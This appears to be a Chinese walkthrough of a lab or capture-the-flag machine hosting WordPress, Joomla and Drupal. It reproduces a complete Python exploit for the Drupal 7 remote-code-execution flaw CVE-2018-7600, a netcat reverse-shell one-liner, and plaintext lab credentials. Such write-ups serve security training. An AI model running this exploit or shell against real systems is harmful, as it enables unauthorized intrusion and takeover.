nmap扫描端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbS20kn.png?table=block&id=619fa009-b04a-4227-8ab0-8b33c9912c7f&cache=v2)
开放5000端口,8081端口,9001端口。
80端口:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpPZ5j.png?table=block&id=7106d760-e52c-49de-9312-86a7bcb8478e&cache=v2)
5000端口(wordpress):
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpPhsf.png?table=block&id=e061e599-ca63-430c-8c8c-5d994e942dbd&cache=v2)
8081端口(joomla):
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpimwD.png?table=block&id=f2a11856-7497-4f51-9567-5f000c043cbb&cache=v2)
9001端口(drupal):
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2Fbpit0S.png?table=block&id=28c5a428-9e38-418c-82ca-35fec2fcd923&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpiRk4.png?table=block&id=4ba7ad54-4670-45a5-b68e-4685b832c282&cache=v2)
drupal7版本存在一个rce,exploit:
#!/usr/bin/env python3 import requests import argparse from bs4 import BeautifulSoup def get_args(): parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= ''' This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57 by poisoning the recover password form (user/password) and triggering it with the upload file via ajax (/file/ajax). ''') parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)") parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)") parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)") args = parser.parse_args() return args def pwn_target(target, function, command, proxy): requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} print('[*] Poisoning a form and including it in cache.') get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command} post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'} r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies) soup = BeautifulSoup(r.text, "html.parser") try: form = soup.find('form', {'id': 'user-pass'}) form_build_id = form.find('input', {'name': 'form_build_id'}).get('value') if form_build_id: print('[*] Poisoned form ID: ' + form_build_id) print('[*] Triggering exploit to execute: ' + command) get_params = {'q':'file/ajax/name/#value/' + form_build_id} post_params = {'form_build_id':form_build_id} r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies) parsed_result = r.text.split('[{"command":"settings"')[0] print(parsed_result) except: print("ERROR: Something went wrong.") raise def main(): print () print ('=============================================================================') print ('| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |') print ('| by pimps |') print ('=============================================================================\n') args = get_args() # get the cl args pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip()) if __name__ == '__main__': main()
反弹shell:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpFUu6.png?table=block&id=041c4938-e31b-4799-9bca-6b2771d2bb9e&cache=v2)
本想上传文件直接反弹,但是没有权限写入文件:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpkCx1.png?table=block&id=bfe7a4f3-eea8-42f6-b672-5d464208e2bf&cache=v2)
只能直接反弹shell:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.0.16 1234 >/tmp/f
成功连接到shell:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpkNGj.png?table=block&id=a674bf7c-ae37-41a8-8ed2-40c7e98ee245&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpkHFe.png?table=block&id=eb4d885a-fb9d-485f-ae36-2ff8282e7f54&cache=v2)
用户名:tyrell 密码:mR_R0bo7_i5_R3@!_
提权:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpElE8.png?table=block&id=c75fd72f-9803-4b55-8080-7f03b5496f44&cache=v2)
joomla的密码在/opt文件下的8081.cred:
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpVKz9.png?table=block&id=114fe006-a2fa-4cde-b372-3fb188fb6223&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpV1qx.png?table=block&id=1c21e9d6-6328-42e2-8e14-4f770520ed70&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs4.ax1x.com%2F2022%2F02%2F22%2FbpV8Z6.png?table=block&id=7a65a144-0851-41d9-84c4-705f9d182777&cache=v2)
elliot的用户名和密码在用户列表中。